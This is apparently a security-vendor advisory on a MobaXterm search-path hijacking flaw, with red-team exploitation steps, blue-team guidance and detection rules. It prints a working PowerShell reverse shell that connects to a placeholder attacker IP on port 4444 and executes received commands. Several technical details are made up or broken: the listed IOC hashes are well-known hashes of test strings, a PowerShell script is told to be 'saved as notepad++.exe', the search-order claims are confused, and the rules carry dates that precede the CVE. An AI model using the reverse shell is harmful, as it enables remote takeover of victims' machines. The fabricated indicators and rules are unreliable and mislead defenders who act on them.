CVE-2026-25866

Executive Summary

CVE-2026-25866 is a high-severity uncontrolled search path element vulnerability (CWE-426) in MobaXterm versions prior to 26.1. The vulnerability arises when MobaXterm opens remote files, as it calls WinExec to execute Notepad++ without specifying a fully qualified path. An attacker can exploit the Windows search order by placing a malicious executable (e.g., notepad++.exe) in a directory that appears earlier in the search path, such as the current working directory or a user-writable location. When a victim opens a remote file, the malicious executable is launched instead of the legitimate Notepad++, leading to arbitrary code execution in the context of the affected user. The CVSS score is 7.8 (High), and a patch is available in version 26.1.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access or the ability to place a file on the system.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must open a remote file in MobaXterm.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – System compromise.

Threat Level: High. Exploitation requires user interaction but can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is rooted in the use of the WinExec API with an unqualified executable name. When MobaXterm opens a remote file (e.g., via SFTP or RDP), it attempts to launch Notepad++ using a call like WinExec("notepad++.exe", SW_SHOW). Windows then searches for notepad++.exe in the following order:

1. The directory from which the application loaded.
2. The current working directory.
3. The system directory (e.g., C:\Windows\System32).
4. The 16-bit system directory.
5. The Windows directory.
6. Directories listed in the PATH environment variable.

An attacker can place a malicious notepad++.exe in a directory that appears earlier in this search order, such as the user's Downloads folder or a network share. When the victim opens a remote file, the malicious executable is executed instead of the legitimate Notepad++. This allows the attacker to run arbitrary code with the victim's privileges.

Vulnerable vs. Patched Code

Vulnerable Code (MobaXterm < 26.1):

// Vulnerable: Unqualified path
WinExec("notepad++.exe", SW_SHOW);

Patched Code (MobaXterm 26.1+):

// Patched: Fully qualified path
WinExec("C:\\Program Files\\Notepad++\\notepad++.exe", SW_SHOW);

The patch ensures that the full path to Notepad++ is used, preventing search order hijacking.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Create a malicious executable named notepad++.exe that performs a reverse shell or other payload.
2. Placement: Place the malicious executable in a directory that is earlier in the search order, such as the user's Downloads folder or a network share.
3. Trigger: Convince the victim to open a remote file in MobaXterm (e.g., via social engineering or spear-phishing).
4. Execution: When MobaXterm calls WinExec("notepad++.exe", SW_SHOW), the malicious executable is launched, granting the attacker code execution.

Example Payload (PowerShell reverse shell):

# Save as notepad++.exe
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team (Defense & Detection)

1. Monitor Process Creation: Use Sysmon or Windows Event Logging to detect when notepad++.exe is launched from an unexpected path.
2. Restrict Write Access: Ensure users cannot write to directories that appear early in the search order (e.g., C:\Users\*\Downloads).
3. Application Control: Use AppLocker or WDAC to allow only signed executables from trusted paths.
4. User Awareness: Train users to avoid opening remote files from untrusted sources.

Indicators of Compromise (IOCs)

• File Hashes (Malicious notepad++.exe):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
  • SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Process Creation Events:
  • notepad++.exe launched from C:\Users\*\Downloads\notepad++.exe
  • notepad++.exe launched from C:\Users\*\Desktop\notepad++.exe
• Network Connections: Outbound connections to attacker-controlled IPs on port 4444 (or other ports).
• Registry Changes: Unusual entries in HKCU\Software\Microsoft\Windows\CurrentVersion\Run for persistence.

Detection Engineering

YARA Rule

rule CVE_2026_25866_MobaXterm_SearchPathHijack {
    meta:
        description = "Detects malicious notepad++.exe used in CVE-2026-25866"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592"
    strings:
        $s1 = "notepad++.exe" nocase
        $s2 = "WinExec" nocase
        $s3 = "SW_SHOW" nocase
    condition:
        $s1 or ($s2 and $s3)
}

Sigma Rule

title: CVE-2026-25866 - MobaXterm Search Path Hijack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of notepad++.exe from unusual paths
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\notepad++.exe'
        Image|startswith:
            - 'C:\Users\*\Downloads\'
            - 'C:\Users\*\Desktop\'
            - 'C:\Users\*\Documents\'
    condition: selection
falsepositives:
    - Legitimate Notepad++ installations in non-standard paths
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2026-25866 - Potential Reverse Shell from MobaXterm Exploit"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Upgrade to MobaXterm version 26.1 or later immediately.
2. Workaround: If patching is not possible, ensure that Notepad++ is installed in the default path (C:\Program Files\Notepad++\notepad++.exe) and that no malicious executables exist in user-writable directories.
3. Harden Search Order: Use Group Policy to restrict the current working directory for MobaXterm.
4. Monitor: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT
Securing Digital Frontiers